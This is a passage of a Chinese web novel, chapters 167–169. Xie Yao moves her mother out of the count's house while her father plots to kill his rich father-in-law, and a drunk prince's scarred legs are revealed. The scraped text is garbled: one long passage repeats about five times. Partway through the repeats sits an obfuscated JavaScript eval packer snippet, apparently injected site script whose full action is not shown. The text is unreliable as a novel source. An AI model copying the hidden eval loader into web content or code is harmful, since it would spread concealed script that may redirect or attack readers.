然后,王妃微微一笑,松开手,剑柄带着力度脱落,剑尖直挺挺刺进蒋四鞋面。 “嘶嗷嗷嗷!” 鲜血再次染红剑尖。 王妃:“你说你,好端端的叫什么叫,害得我松了手,疼的还是你自己。” 蒋四当场倒地,抱着脚痛呼。 谢明安又惊又怒,没想到自己只是想让蒋四放句狠话,谢窈居然动了手。 “你这个逆女,敢在司法参军面前伤人,你疯了!” 谢窈随手将剑推回剑鞘,一脸无辜:“哎呀,参军的剑脏了。” 司法参军回过神,昂首挺胸地上前:“一个护院,也敢觊觎靖北王妃的人,他不懂规矩,本参军却不能容忍,伯爷,你实在是御下无方,还不让这刁奴跟王妃道歉。” 蒲苇更是配合地说:“伯爷哪只眼睛看见王妃动手了,王妃今天都没拿刀,明明是司法参军秉公执法,仗剑直言。” “你……” 谢明安手指着谢窈,憋了半天,说:“蒋四,道歉!” 蒋四爬起来,磕头道歉:“小的错了,求王妃息怒。” 谢窈这才语气淡淡地说:“你是伯府的护院首领,也代表着伯府脸面,这次好说,下一次,再给伯爷丢人现眼,就没这么简单了。” 谢明安忍无可忍,压低声音挤出一句话:“谢窈,别以为撺掇许氏跟本伯分府别居,又要回了澄园,你就赢了。” 谢窈勾起唇,黑沉的凤眸带着冷戾之气:“你还没死,我可不敢说赢,我的……好父亲。” 说罢,她带着人迈步离开。 谢明安被她深沉眼神吓得僵住,缓过神来,没出撒气,就一脚踹到蒋四身上:“废物。” 蒋四疼得龇牙咧嘴,但不敢反驳,只能让人赶紧给自己包扎伤口。 “伯爷,不好了!” 谢明安刚回书斋,门外就传来下人的惊呼。 “又怎么了?!”他猛地提起一口气,脑袋嗡嗡作响。 “孙姨娘在院里闹起来了,她,小的刚把她松绑,她就要撞墙自尽,还说要带着孩子一起,您快去看看吧!” “本伯去了能怎么样?” 谢明安头都要炸了:“加派人手看着,把她手脚都捆起来,再敢闹,就直接将她捆在床上,再找丫鬟时刻盯着,不要伤了她腹中的胎儿。” 吩咐完下人,他瘫倒在椅子上,感觉自己一天之间苍老了十几岁。 很快,包扎伤药后的蒋四一瘸一拐走进来,身上一股创伤药的气味。 “伯爷,您消消气,咱们也不是没别的法子。” 谢明安睁开布满血丝的双眼:“什么法子?” 蒋四凑到他耳边,低声道:“伯爷,许老爷子,不是千里迢迢来京城,给二小姐送嫁妆了吗?” “许世诠?本伯是打算改日去拜访他,若能说服他,将许氏接回来就容易了。” 谢明安皱了皱眉,他岳丈许老爷子乃江州巨富,当年许氏嫁进来时,陪嫁震惊了整个京城。 只是,许老爷子与谢家是相看两厌,自己十几年没见过那老头了,不知贸然前去拜见,能不能见到。 “伯爷你忘了吗,当年您为了伯夫人,特意安插了人在许家。” 蒋四眼神里带着阴狠的算计:“许老爷子一把年纪,要是出了什么意外,就算伯夫人已经出嫁,但许家那万贯家财,难不成交给一个义子?最后,还不得给伯夫人继承。” “伯夫人的东西,不就是您的东西吗?” 谢明安眼睛瞬间亮了起来,他怎么把这茬忘了! 当年他为了解许氏喜好,特意买了个人,暗中送去许家在京城的宅院做事。 他当时想着,许老爷子膝下除了许氏,只有一个义子许知行,等老爷子百年之后,他身为女婿,未必不能分上一些产业。 谢明安摸了摸下巴,心里的不甘和愤怒被贪婪取代。 许氏拿回了她的陪嫁又如何?只要把许老爷子的家产弄到手,这点损失根本不算什么! 许氏和谢窈如此逼自己,百年之后?他等不及了。 “既然你们不仁,就别怪本伯不义。”谢明安阴沉喃喃。 “你立刻去联系那人,本伯则要好好想一想,如何让本伯的岳丈……天不假年。” “小的这就去办!” 另一边,雪停了。 白蔹和许素素在王府亲卫的帮助下,将晚香院的东西统统装走。 王府来时的马车不够,王妃索性花钱,跟街里街坊租了五六七八九十辆。 谢窈和许素素,还有蒲苇忍冬坐在一辆马车内,王爷自个一人坐在另一辆车上,几十人的队伍,浩浩荡荡往澄园走。 谢窈本想让王爷先回王府,她安顿好母亲,肯定也得回去。 王爷却道:“本王说了,要陪王妃完成回门礼,没和王妃一起到伯府已是失约,那便一定要陪王妃一起回家。” 谢窈只能由他。 许素素坐在车里,掀开窗帘。 她至少有五年,没有走出文昌伯府。 一股寒冷清新的气息扑面而来,让人心旷神怡,外面笼罩着银白的雪色,一切像崭新的。 不过,许素素现在只关心两个问题。 第一个问题:“阿窈,我也不是没钱,你把晚香院都搬空了,是不是有点丢人,王爷不会怪罪吧。” 谢窈:“哪里丢人了,说了不给伯府留下一针一线,就得搬空。” 马车外面,传来棠柳巷百姓的议论声。 “天啊,王妃把当年先帝御赐的‘忠义之女’墨宝端走了。” “何止,王妃把晚香院的匾额和门板,都拆下来带走了。” “何止,王妃把文昌伯府院里的海棠树,连根拔走了!” “什么?谢窈把海棠树都拔了?”接到消息的谢明安急匆匆赶来。 “嘿……呦!” “嘿……呦!” “嘿……呦!” 那些王府亲卫,连谢家的树都没放过,有的装上推车,有的直接一两人合力抱着,居然还喊着号子! 听着那一声声铿锵有力的号子声,谢明安人已经傻了,只能目瞪口呆地望着一行人渐行渐远。 透过车窗,许素素看见扛着一棵海棠树的小白侍卫,尴尬微笑。 谢窈则面不改色。 许素素只好压低声音,问出另一个问题:“阿窈,我喝了酒,王爷也喝了酒,你跟我坐一辆车,可是因为王爷和你……还没圆房?” 第167章 王爷龙精虎猛,凶猛过人 “……可是因为王爷和你,还没圆房?” 许素素说完,看着谢窈,目不转睛。 酒跟女婿喝了,也确定女婿不是那喜怒无常的暴戾之人,她现在最大的问题,就是这件事。 事关女儿的终身幸福,让她不得不问。 此刻,王爷那辆马车在前面,白蔹和白术各自扛着一棵海棠树,护送在王妃和诰命夫人的马车一左一右。 两人都是习武之人,耳聪目明,闻言,瞬间同时竖起了耳朵! 车内的忍冬和蒲苇,也睁大眼睛,默不作声。 谢窈的脸一红。 总感觉母亲如今,是放飞自我了。 当然,这样的变化本就是她想要的。 只不过,冷不丁听到母亲问自己这个问题,她还是有些难以回答。 “圆……” 她想说圆房也不急一时,一切得看王爷的意愿。 而王爷,只会在换衣服脱裤子的时候把自己支走卸妆。 但谢窈还没说出口,她的迟疑落在许素素眼里,就成了默认和无奈。 许素素大惊:“莫不是王爷……王爷,行吗?” 难不成王爷双腿废了,伤势转移了?还是本就伤到了不该伤的地方?难道女儿要守一辈子活寡吗。 她深吸一口气,拉住谢窈的手,想起以前听说,靖北王因双腿残疾而性情扭曲的传闻:“罢了,不能也比强求好,只是,这样的话,不知萧家如何看?” 谢窈听出母亲话语中的安抚,看了看一旁的忍冬蒲苇,感觉,自己不能这么破坏王爷形象。 就算萧熠之真不行,他帮了自己那么多,是自己夫君,自己该维护他的体面。 于是,谢窈一本正经地开口:“母亲误会了,是王爷太行了,王爷龙精虎猛,凶猛过人,力能扛鼎,威武雄壮,母亲就放心吧!” 许素素:“!!!” 其他人:!!! “不说这个了。” 谢窈脸上露出一抹羞赧,故作镇定地转移话题。 “刚才听桑若禀报,愿意跟母亲到澄园的下人,算上她有四个丫鬟,两个小厮,再加上许管事,人虽不多,但也够了,母亲只管在澄园好好休养,不用很久,我会帮母亲与谢明安和离,到时候,您就彻底解脱了。” 许素素不确定谢窈说的是哄骗自己还是真的,但女儿的性子,若是愿意为了维护靖北王而哄骗她,怕是,她心里也有王爷。 许素素不再追问,回过神:“阿窈,你可知,桑若名字的由来。” 谢窈摇了摇头。 九年前她离京的时候,母亲身边还没有桑若。 应该是在苏嬷嬷死后,桑若才成了母亲身边唯一可靠之人。 “桑之未落,其叶沃若……士之耽兮,犹可说也。女之耽兮,不可说也!” 许素素说着,温和一笑,眼神清醒释然。 “阿窈,做你想做之事,不必顾忌我,只要不牵连到你自己,就是将谢明安抓起来下狱都无妨,只是,万万不可再像祠堂这般冒险。” 对谢明安,她何尝不恨。 她不希望因为自己还没和谢明安和离,而影响到女儿的行动。 谢窈墨色浓郁的凤眸,映着外面银白的雪光,显得冰冷而剔透。 “下狱?不,哪有那么便宜的事,我要他尝尝身败名裂,失去一切的滋味,最后,生、不、如、死。” 前世母亲被谢明安毒害,为了侵吞自己的嫁妆,她也被这所谓的父亲派人,万箭穿心而死。 拿回澄园不过是物归原主,让母亲与他和离,当然也不够。 何况她的另一个仇人,还活得好好的呢。 陆慎言敢在她回门的路上暗中窥视,看来之前的伤养得差不多了。 谢窈垂下眸,回想接下来该发生的事。 前世,她与陆慎言定亲,大婚比她嫁给萧熠之要晚一个多月,在这一个月里,安平侯,遇刺了。 京中才子陆慎言替安平侯挡箭,成了安平侯的救命恩人。 算算日子,这件事,就快发生了。 而在这之前,趁外祖父回京,她得先确定外祖父的情况。 谢窈不信,一向身子硬朗的外祖父,会在半年后忽然病逝。 “蒲苇,蒋四这个人,你怎么看?”谢窈开门见山地问。 蒲苇立即摇头:“王妃,奴婢与他毫无瓜葛!” 她眼中闪过几分厌恶:“此人阴险好色,他知晓奴婢从前在醉雪楼的身份,所以曾在言语上调侃奴婢,此前,奴婢还发现晚香院有个小丫鬟与他有染。” “他经常对伯府的丫鬟动手动脚,但因为他是护院首领,深受文昌伯看重,所以无人敢惹。” 谢窈想起,蒋四一把将孙姨娘身后丫鬟揪出来顶罪的情景,喃喃道:“恐怕芳儿房间里那封信,也是他放的。” 谢明安身边的人,朱嬷嬷和王管事已经死了,孙姨娘和他反目成仇,会在生孩子之前,使劲儿折腾他,二房一家是墙头草,与他并不在一条船上。 若外祖父那边出问题,十有八九,和蒋四有关。 她故意伤他,就等他狗急跳墙,露出马脚。 半个多时辰之后,澄园到了。 谢窈扶着母亲下了马车,雪刚停没多久,屋檐与门口两侧的石狮子覆着碎雪,晚霞倾洒在绣闼雕甍之上,透出一抹暖色。 朱红大门敞开,入门道路已经被扫净,只留两侧玉兰树,枝桠上积着雪,似缀了满树梨花。 长思和许管事先行一步,此刻迎在门口,旁边是十几个身穿短打的精壮汉子。 他们身后,舅舅许知行走出来。 他锦衣玉带,身披狐裘大氅,在身后洁白雪色映衬下,似在画中走出的世家雅士,不见岁月痕迹。 长思怔怔地望着许知行,眼里好像只有他。 和之前在伯府一样,舅舅看见母亲,眼眶瞬间又红了。 “兄长多大了,怎么见我一次,就哭一次?” 许素素上前,拍去了许知行肩头的雪,笑着说。 她这个兄长,什么都好,就是一个大男人,却爱哭。 她还记得小时候,自己和父亲刚把兄长捡回家,给他吃了一顿饱饭,他就边吃边掉眼泪。 许知行眼中含着泪光,似是欢喜,似是激动,喉咙动了动:“我们许家那个张扬明媚的许大小姐,回来了。” 他克制着情绪,怕自己一开口又要落泪,连忙看向谢窈。 “小阿窈,长思已经跟我说了护院的事,这是你外祖父在京中别院里,于管家的儿子阿武,是我看着长大的,之前是我宅子里的护院,往后让他带人守着澄园,你放心。” 为首的阿武是个十八九岁的健壮少年,虽然年轻,但比其他护院要高上一头,看起来就是个练家子。 谢窈向阿武点了点头,心里记下了“于管家”的名字。 她猜测,外祖父身边有谢明安的人。 这个人的地位,不会太低,得是能接触到外祖父的。 管家算一个,而管家的儿子阿武就在这儿,倒是能顺势查探。 “多谢舅舅费心,过两日,我就去别院看望外祖父。” 许知行应下,许素素却心里一酸。 她为了嫁给谢明安,让父亲伤透了心,不知父亲能不能原谅自己,也不知该如何面对父亲。 许知行看出她的心绪:“素素,父亲此次回京,已将江州老家的事处理妥当,以后就在别院住下了,不管什么时候,你想回去,我都陪你一起。” 谢窈则回头,见萧熠之还在他的马车内。 白术适时回答:“王爷说了,他尚在醉中,不便打扰王妃与家人们叙话。” 王爷若是出面,王妃母亲和舅舅都难自在。 澄园的事很快安置妥当,谢窈心想王爷一个人在马车里,肯定很是憋闷。 他本就是顾全自己的体面,才跟着来了澄园,却要留在车上。 白蔹这边来报,晚香院的海棠树已经栽种在澄园的后园,连从谢家拆卸下来的门板牌匾,都收纳进库房。 谢窈立即跟母亲和舅舅道别,这次,忍冬棠心和长思坐在后面的马车,蒲苇留在澄园。 她上了王爷的马车,一进去,就嗅到浓郁的酒气。 谢窈一怔,发现车内矮几上,放着个鎏金的小炭炉,上面温着一壶酒,闻味道,是桃花醉。 原来王爷真的很喜欢喝桃花醉,不但跟母亲喝完一小壶,还自己一个人在车上喝。 她忽然又想起,白蔹说过,王爷在军中休沐之时,喜欢喝王爷母妃酿的桃花醉。 谢窈忍不住偷偷看萧熠之。 天色稍晚,外面夕阳落下,天地暗淡,车内灯火柔和。 王爷靠在轮椅上,阖目养神,苍白俊美的脸庞泛起一抹红晕,锋利的长睫在眼下投出浅淡阴影。 喝醉的王爷,比平时还好看。 谢窈瞥了一眼,就赶紧移开视线,将注意力放在窗外。 王爷感觉到那道注视没了,睁开眼,忍不住问:“王妃怎么不——王妃在看什么?” 语调,多了一丝委屈。 第168章 还以为王爷准备扭曲了 谢窈其实什么都没看,只是不想一直失礼地盯着王爷。 不过,王爷既然问了,她倒是发现马车刚行驶片刻,路边出现一处不亚于澄园的大园子,亮着灯火,院墙高筑,与澄园相隔不过几里。 “那是谁家的园子?” 萧熠之正要回答,跟在外面的白蔹抢答:“王妃,是皇上给长公主新建的长公主府,从去岁长公主归国就一直建,估计差不多完工了。” 长公主虽然常年住在栖凤山的别院,但深得皇帝看重。 皇帝不仅将沈家祖宅未央别苑赏赐给她,还让人给她新建了一处长公主府。 如今,长公主为沈皇后立庙供像的事传扬出去,太后不满意是肯定的,而皇上,却一定十分高兴。 一路无话,到了靖北王府,天色已暗,王府门口的喜字灯笼还很是明亮。 早有下人侯在门口,见到王驾,都恭敬地迎上前:“恭迎王爷王妃回府。” 白术熟练地铺木板,白蔹上前,想将王爷的轮椅推下来。 “滚。”萧熠之看见他就来气,桃花眸瞪着他。 白蔹:滚就滚。 白术只好上前。 萧熠之面无表情地说:“你也滚。” 白术默默转身,让忍冬等丫鬟先回扶光院,给王爷准备醒酒汤。 谢窈先下车,眼神一凝,见门口有自己院的齐嬷嬷,也有萧老夫人身边的罗嬷嬷,还有三房周夫人院里,给她送过青雀黛的琪儿,以及几个不认识的丫鬟。 仿佛是怕王妃回门,就再也不回来了似的,十来个人等在门口。 棠心上前,低声在谢窈耳边道:“王妃,那边是周夫人和小周夫人的丫鬟,怕是想打探您和王爷的关系。” 萧熠之眉头微拧,面容更冷,就要说“你们都滚”的时候,谢窈开口:“我推王爷吧。” 她看出王爷是喝醉了,虽然缓了一下午,但毕竟陆续喝得不少。 萧熠之的眉心舒展开。 白蔹滚的时候,顺便带上各院守在门口的下人一起,白术则提着灯,跟在王爷王妃身边。 谢窈推着轮椅慢慢走。 王府大得很,她刚入府没几日,就去给萧老夫人敬茶时走过两趟。 夜里没有光之后,虽然隔一段路有护院巡逻,但谢窈做为斥候出身的将士,不知不觉,就习惯性躲过巡逻,偏了方向,推着王爷来到一片寂静的后花园。 白术本想带路,转念一想,王爷没说话,说不定是人家夫妻俩的情趣呢。 意识到自己走错路之后,谢窈张了张口。 王爷也不提醒一下自己。 算了,她不跟喝醉的人计较。 正想着,王爷回头,声音微哑,但不容置疑:“白术,灭灯。” 白术立即熄灯。 顿时,周围一片昏暗,只剩下模糊的树影轮廓,一弯月牙挂在树梢头,与落雪相融。 “王爷?” 谢窈没来得及反应,握在轮椅扶手上的手被王爷攥住。 萧熠之将她轻轻拉至身前,她本欲抗拒,但感觉对方没有敌意,只好不动弹。 一下子,王爷和谢窈之间的距离变得很近。 淡淡的酒气,刹那间将她包围。 “谢窈,你听。” 王爷的声音很低,灼热的气息拂过谢窈耳畔,格外蛊惑。 谢窈脑子“嗡”地一声,想到许素素关于圆房的问话,还有自己的回答。 此刻除了白术,四下无人。 王爷难不成要在这里做什么,证明自己很行? 还是他终于暴露了本性,决定寻求刺激,开始扭曲? 可这儿连张塌都没有,王爷的轮椅倒是很大,但也坐不下他们两人吧—— 谢窈脸颊滚烫,顺着萧熠之的话,听见了“咚咚”“咚咚”的心跳声。 这心跳声,好像是自己的。 就在谢窈思考如果真在这里,到底算不算王爷扭曲,如果他强迫,自己要不要拒绝的时候,一阵细碎的声音飘过来。 是男女的喘息声,还有细碎的交谈,从远处墙角的草丛传来。 “砚郎,轻一点,不要……” “轻?小的还以为表小姐喜欢重一点呢。” “那边是不是有动静?” “……” 一阵让人脸红心跳的声音。 谢窈猛地反应过来,萧熠之让白蔹灭灯,是因为这个。 她推着王爷轮椅的时候,竟然放松了警惕,还以为王爷准备在后花园做什么。 “居然有人在这里……不冷吗。” 谢窈扶额,装作很淡定的样子,镇定地侧头,眺望了几眼。 听声音难以分辨身份,看动作,也看不清面容,应当是她不认识的人。 萧熠之道:“让王妃见笑了,这样的事情,萧家其实不太常有。” 谢窈尴尬一笑:“没事,这样的事,我们谢家很常有。” 草丛里,不知天地为何物的一对男女被冻得瑟瑟发抖,很快就结束了,穿 上衣服,手拉手绕着墙角离开。 萧熠之“啧”了一声:“去看看是谁。” 白术放下灯盏,猎豹般轻掠而出,跟了上去。 天太冷,王爷没再故意延长回院的时辰,而是告诉谢窈:“前面直走百步再右拐,就是扶光院。” 谢窈按照他的话继续推轮椅,忽然感觉喝醉后的王爷,比平时要活跃得多,遇见这种事,居然没有出来,一刀**秽乱王府的男女,还拉着自己欣赏活春宫。 终于回到扶光院,谢窈舒了一口气。 下一刻,王爷悠悠开口:“王妃不是说,本王龙精虎猛,凶猛过人,力能扛鼎,威武雄壮吗,刚才,你在想什么?” 谢窈瞳孔一震,刚凉下来的脸颊又热起来。 白术,不,白侍卫话少,应该是白蔹那个大嘴巴! 谢窈很想放下轮椅,但那样显得自己像是欺负王爷。 她将萧熠之推进屋,接过忍冬递来的醒酒汤,微笑解释:“王爷醉了,我的意思是,王爷在战场上威风凛凛,一展雄风——” 不是,感觉这话更奇怪了。 王爷唇角噙着笑,仰头喝完醒酒汤。 没一会儿,白术回来。 王爷已经是又困又醉,感觉自己过去两年,都没这么尽兴地喝过酒。 但是,好奇心让他强撑着困意,问道:“快告诉我,刚才那二人是谁?” 上衣服,手拉手绕着墙角离开。 萧熠之“啧”了一声:“去看看是谁。” 白术放下灯盏,猎豹般轻掠而出,跟了上去。 天太冷,王爷没再故意延长回院的时辰,而是告诉谢窈:“前面直走百步再右拐,就是扶光院。” 谢窈按照他的话继续推轮椅,忽然感觉喝醉后的王爷,比平时要活跃得多,遇见这种事,居然没有出来,一刀**秽乱王府的男女,还拉着自己欣赏活春宫。 终于回到扶光院,谢窈舒了一口气。 下一刻,王爷悠悠开口:“王妃不是说,本王龙精虎猛,凶猛过人,力能扛鼎,威武雄壮吗,刚才,你在想什么?” 谢窈瞳孔一震,刚凉下来的脸颊又热起来。 白术,不,白侍卫话少,应该是白蔹那个大嘴巴! 谢窈很想放下轮椅,但那样显得自己像是欺负王爷。 她将萧熠之推进屋,接过忍冬递来的醒酒汤,微笑解释:“王爷醉了,我的意思是,王爷在战场上威风凛凛,一展雄风——” 不是,感觉这话更奇怪了。 王爷唇角噙着笑,仰头喝完醒酒汤。 没一会儿,白术回来。 王爷已经是又困又醉,感觉自己过去两年,都没这么尽兴地喝过酒。 但是,好奇心让他强撑着困意,问道:“快告诉我,刚才那二人是谁?” 上衣服,手拉手绕着墙角离开。 萧熠之“啧”了一声:“去看看是谁。” 白术放下灯盏,猎豹般轻掠而出,跟了上去。 天太冷,王爷没再故意延长回院的时辰,而是告诉谢窈:“前面直走百步再右拐,就是扶光院。” 谢窈按照他的话继续推轮椅,忽然感觉喝醉后的王爷,比平时要活跃得多,遇见这种事,居然没有出来,一刀**秽乱王府的男女,还拉着自己欣赏活春宫。 终于回到扶光院,谢窈舒了一口气。 下一刻,王爷悠悠开口:“王妃不是说,本王龙精虎猛,凶猛过人,力能扛鼎,威武雄壮吗,刚才,你在想什么?” 谢窈瞳孔一震,刚凉下来的脸颊又热起来。 白术,不,白侍卫话少,应该是白蔹那个大嘴巴! 谢窈很想放下轮椅,但那样显得自己像是欺负王爷。 她将萧熠之推进屋,接过忍冬递来的醒酒汤,微笑解释:“王爷醉了,我的意思是,王爷在战场上威风凛凛,一展雄风——” 不是,感觉这话更奇怪了。 王爷唇角噙着笑,仰头喝完醒酒汤。 没一会儿,白术回来。 王爷已经是又困又醉,感觉自己过去两年,都没这么尽兴地喝过酒。 但是,好奇心让他强撑着困意,问道:“快告诉我,刚才那二人是谁?” 上衣服,手拉手绕着墙角离开。 萧熠之“啧”了一声:“去看看是谁。” 白术放下灯盏,猎豹般轻掠而出,跟了上去。 天太冷,王爷没再故意延长回院的时辰,而是告诉谢窈:“前面直走百步再右拐,就是扶光院。” 谢窈按照他的话继续推轮椅,忽然感觉喝醉后的王爷,比平时要活跃得多,遇见这种事,居然没有出来,一刀**秽乱王府的男女,还拉着自己欣赏活春宫。 终于回到扶光院,谢窈舒了一口气。 下一刻,王爷悠悠开口:“王妃不是说,本王龙精虎猛,凶猛过人,力能扛鼎,威武雄壮吗,刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白术放下灯盏,猎豹般轻掠而出,跟了上去。 天太冷,王爷没再故意延长回院的时辰,而是告诉谢窈:“前面直走百步再右拐,就是扶光院。” 谢窈按照他的话继续推轮椅,忽然感觉喝醉后的王爷,比平时要活跃得多,遇见这种事,居然没有出来,一刀**秽乱王府的男女,还拉着自己欣赏活春宫。 终于回到扶光院,谢窈舒了一口气。 下一刻,王爷悠悠开口:“王妃不是说,本王龙精虎猛,凶猛过人,力能扛鼎,威武雄壮吗,刚才,你在想什么?” 谢窈瞳孔一震,刚凉下来的脸颊又热起来。 白术,不,白侍卫话少,应该是白蔹那个大嘴巴! 谢窈很想放下轮椅,但那样显得自己像是欺负王爷。 她将萧熠之推进屋,接过忍冬递来的醒酒汤,微笑解释:“王爷醉了,我的意思是,王爷在战场上威风凛凛,一展雄风——” 不是,感觉这话更奇怪了。 王爷唇角噙着笑,仰头喝完醒酒汤。 没一会儿,白术回来。 王爷已经是又困又醉,感觉自己过去两年,都没这么尽兴地喝过酒。 但是,好奇心让他强撑着困意,问道:“快告诉我,刚才那二人是谁?” 上衣服,手拉手绕着墙角离开。 萧熠之“啧”了一声:“去看看是谁。” 白术放下灯盏,猎豹般轻掠而出,跟了上去。 天太冷,王爷没再故意延长回院的时辰,而是告诉谢窈:“前面直走百步再右拐,就是扶光院。” 谢窈按照他的话继续推轮椅,忽然感觉喝醉后的王爷,比平时要活跃得多,遇见这种事,居然没有出来,一刀**秽乱王府的男女,还拉着自己欣赏活春宫。 终于回到扶光院,谢窈舒了一口气。 下一刻,王爷悠悠开口:“王妃不是说,本王龙精虎猛,凶猛过人,力能扛鼎,威武雄壮吗,刚才,你在想什么?” 谢窈瞳孔一震,刚凉下来的脸颊又热起来。 白术,不,白侍卫话少,应该是白蔹那个大嘴巴! 谢窈很想放下轮椅,但那样显得自己像是欺负王爷。 她将萧熠之推进屋,接过忍冬递来的醒酒汤,微笑解释:“王爷醉了,我的意思是,王爷在战场上威风凛凛,一展雄风——” 不是,感觉这话更奇怪了。 王爷唇角噙着笑,仰头喝完醒酒汤。 没一会儿,白术回来。 王爷已经是又困又醉,感觉自己过去两年,都没这么尽兴地喝过酒。 但是,好奇心让他强撑着困意,问道:“快告诉我,刚才那二人是谁?” 第169章 看见王爷伤腿,抚他伤疤 白术保持着一贯的冰块脸:“是三房的人。” 谢窈惊讶:“周夫人?小周夫人?不,那声音应该不是她们中的任何一个。” 萧熠之瞥了她一眼,心想王妃听得倒是认真。 “萧文远院里,可不止小周夫人一个。” 谢窈想起来,也对,听说周夫人和小周夫人之所以婆媳矛盾严重,就是因为萧文远对母亲很孝顺,但也无法抗拒喜欢给他娶小妾开枝散叶的小周夫人。 萧文远有两房小妾,还有三子两女。 白术:“是的,属下跟过去,见男的是三房院里的书童砚方,女子是小周夫人给大公子新选的妾室,姓蒋,还是小周夫人的远房表妹。” 谢窈觉得砚方这名字有些耳熟。 棠心进屋,端走王爷喝完醒酒汤的玉碗。 谢窈一下子想起来,砚方是王爷堂弟萧兰舟的贴身书童,之前与周夫人身边的丫鬟琪儿交好,后来又倾心棠心。 这个书童,害得两个情同姐妹的棠心和琪儿生出芥蒂,最后两人都没跟他在一起。 “这么说,砚方给王爷的堂兄,戴了一顶绿帽子?”谢窈道。 王爷没有回话。 白术:“蒋家表小姐只是寄住在三房院里,小周夫人还未捅破窗户纸。” 谢窈:“原来是悬在空中的绿帽子。” 谢窈还打算跟王爷再聊两句,问他需不需要提醒一下萧文远,这小妾实在不行就别纳了,却发现王爷一直没再说话。 她一低头。 萧熠之薄唇微抿,闭着眼睛,已经低头在轮椅上睡着。 原来是已经困成这个样子,还要坚持听完白术说那俩人是谁,才舍得睡。 喝醉的王爷,的确很不一样。 萧熠之少年时是桀骜张扬的靖北侯世子,京中一霸。 谢窈小时候想过一个问题,棠柳巷十岁以下小孩已经被自己打遍,没人能打得过自己,她想成为真正的京中一霸,就要挑战前一霸的萧世子。 不过,萧世子比她大七岁,肯定不愿意搭理自己。 她被送去北境那年,也是萧世子承爵出征的时候,两人从此一北一西,天各一方。 后来,谢窈做顾刀的时候,因为知道萧熠之十五岁承爵领兵,大破西戎,所以她心里憋着一股劲,十三岁就不顾大将军反对,正式上了战场,十五岁同样有了战功,不输于萧熠之。 她曾将萧熠之当做一道走在前面,等待自己超越的身影看待。 只是萧熠之杀的人越来越多,让她觉得那道身影变得模糊陌生,面目全非。 再后来,她从没想过那个身影会倒下。 前世不愿嫁给他,不是因为嫌弃他双腿残疾,也不是怕他暴戾凶恶,而是总觉得,若嫁给他,自己就输了,嫁给他,好像彻底背弃了小时候的自己。 看着睡着的萧熠之,谢窈肆无忌惮盯着许久。 喝醉了的王爷,褪去森冷阴沉的表象,变成她年少时想象中的萧家世子。 比她想象的,要更俊美一些。 白术很机智地退下去,反正王妃搀扶王爷上床,应该已经很熟练。 他走到门口,遇见要进来帮忙的白蔹。 “你要干嘛?” 白蔹:“推王爷回流霞院啊,王爷不住流霞院都睡不着,这都大婚四天了,我怕王爷睡不好影响身体。” 白术嘴角抽搐:“你的意思是,王爷前三个晚上,都没睡好?” 睡不好?他看王爷这三天神清气爽,眼底下淡青痕迹都消散了,若这叫睡不好,那王爷真是有点怪了。 白蔹:“这我哪知道,我又没趴在王爷王妃床底下。” “你确实该滚。” “好端端的你骂我干啥,白术,别以为你是我哥我就不敢揍你!” “……” 屋内,谢窈淡定地将王爷轮椅推到床榻边。 她想了想,王爷睡着很难搀扶,看来今天自己需要把王爷抱上床。 谢窈的一只手,刚落到对方肩上,萧熠之就睁开眼,桃花眸慵懒而迷离。 看见她,王爷眯起眸子。 “阿窈……”他声音沙哑而诱人,然后,对着谢窈,张开自己的双臂。 萧熠之:“抱一下。” 谢窈怔怔地又盯着王爷看了一会儿,忍不住摸了摸他的脑袋,压下自己心里因这句“阿窈”而升起的涟漪。 “这可是你说的。” 她手臂穿插到王爷臂下,用力一提,将其半抱半扶到床榻上。 虽然比自己想象中要沉一些,但对她来说还是很轻松。 萧熠之很配合,从端坐在轮椅上,变成侧靠在床壁。 他闭着眼睛,嗅到淡淡的桂花气息,感觉回到了平时管家给自己推拿时的流程。 萧熠之彻底喝醉,只当自己是在准备推拿,抬起手,晕晕沉沉地说:“本王自己脱。” 随即,王爷自己解开玉带,小心翼翼地摸了摸腰间香囊,妥帖放到枕边,然后脱下两层衣袍,洁白的里衣领口微敞,露出泛着绯色的脖颈和锁骨。 谢窈看见他还穿着鞋,弯腰不太方便,便上前,掀起他脚踝处里衣的裤腿,想帮他把鞋子脱下来。 撩起裤腿之后,谢窈瞳孔微缩,心揪了起来。 她也行军打仗,受过伤,身上有很多疤。 但萧熠之的脚踝与小腿,却毫无血色,苍白冰冷。 露出的几寸肌肤,密布着让人触目惊心的疤痕,大多是箭伤,还有刀划过的痕迹,指腹传来感知,伤疤是硬邦邦的,纵横交错向上蔓延,足以见当初那些伤口,是怎样的鲜血淋漓。 谢窈不禁攥紧了拳头,问道:“两年前岐江,到底发生了什么……” 萧熠之双膝之下没有知觉,所以并没有感受到她的动作。 可他听见这声音,睁开眼,见到谢窈蹲在自己身前,正错愕地盯着自己小腿。 骤然间,他像是被泼了一盆冷水,醉意褪去,清醒过来。 谢窈看见了? 那一瞬间,萧熠之呼吸急促,猛地弯腰将自己伤疤遮住,眼中是清晰的恐慌,声音沉戾:“本王自己来!” 他知道谢窈喜欢看自己的脸,也喜欢漂亮的东西。 可她现在,看见了那些自己都觉得丑陋恶心的伤疤。 她会如何? 萧熠之忽然不敢抬头看谢窈的眼神。 他怕她会像别人一样,不管她眼中是同情,还是厌恶。 因为是她,他都难以接受。 萧熠之回想起那场战役,西戎人见他和八百将士不投降,便和他们厮杀起来。 战马嘶鸣,长枪染血,他身边的人越来越少,西戎人忽然想活捉他,因为他是燕国唯一的王爷,把他活捉,能重振被打怕了的西戎王庭气焰,比杀了他价值更高。 无数箭矢射向玄霆和自己双腿。 玄霆也倒下了,周围,再也没有活人。 岐江的水将他吞没,把他拽进幽深的噩梦。 他拼尽全力从噩梦中醒来,却在浑浊的江水中,对上一双双探究,厌恶,悲悯,恐惧的眼睛。 无数复杂的目光,落在自己的腿上。 “如晦,你的腿是为大燕伤的,朕会召集天下名医为你治伤,只是……恐怕日后还是难以站起来。” “靖北王,你造了太多杀业,这是老天爷给你的天谴!” “熠之,难道这双腿,真的站不起来了吗,那你以后怎么领兵,怎么打仗……” “我的孙儿即便站不起来,也是萧家之主,别怕,祖母在。” 最后,所有人都摇了摇头,离开了。 周围只剩下一片死寂。 他投身岐江之后,其实,从没有被人捞上来。 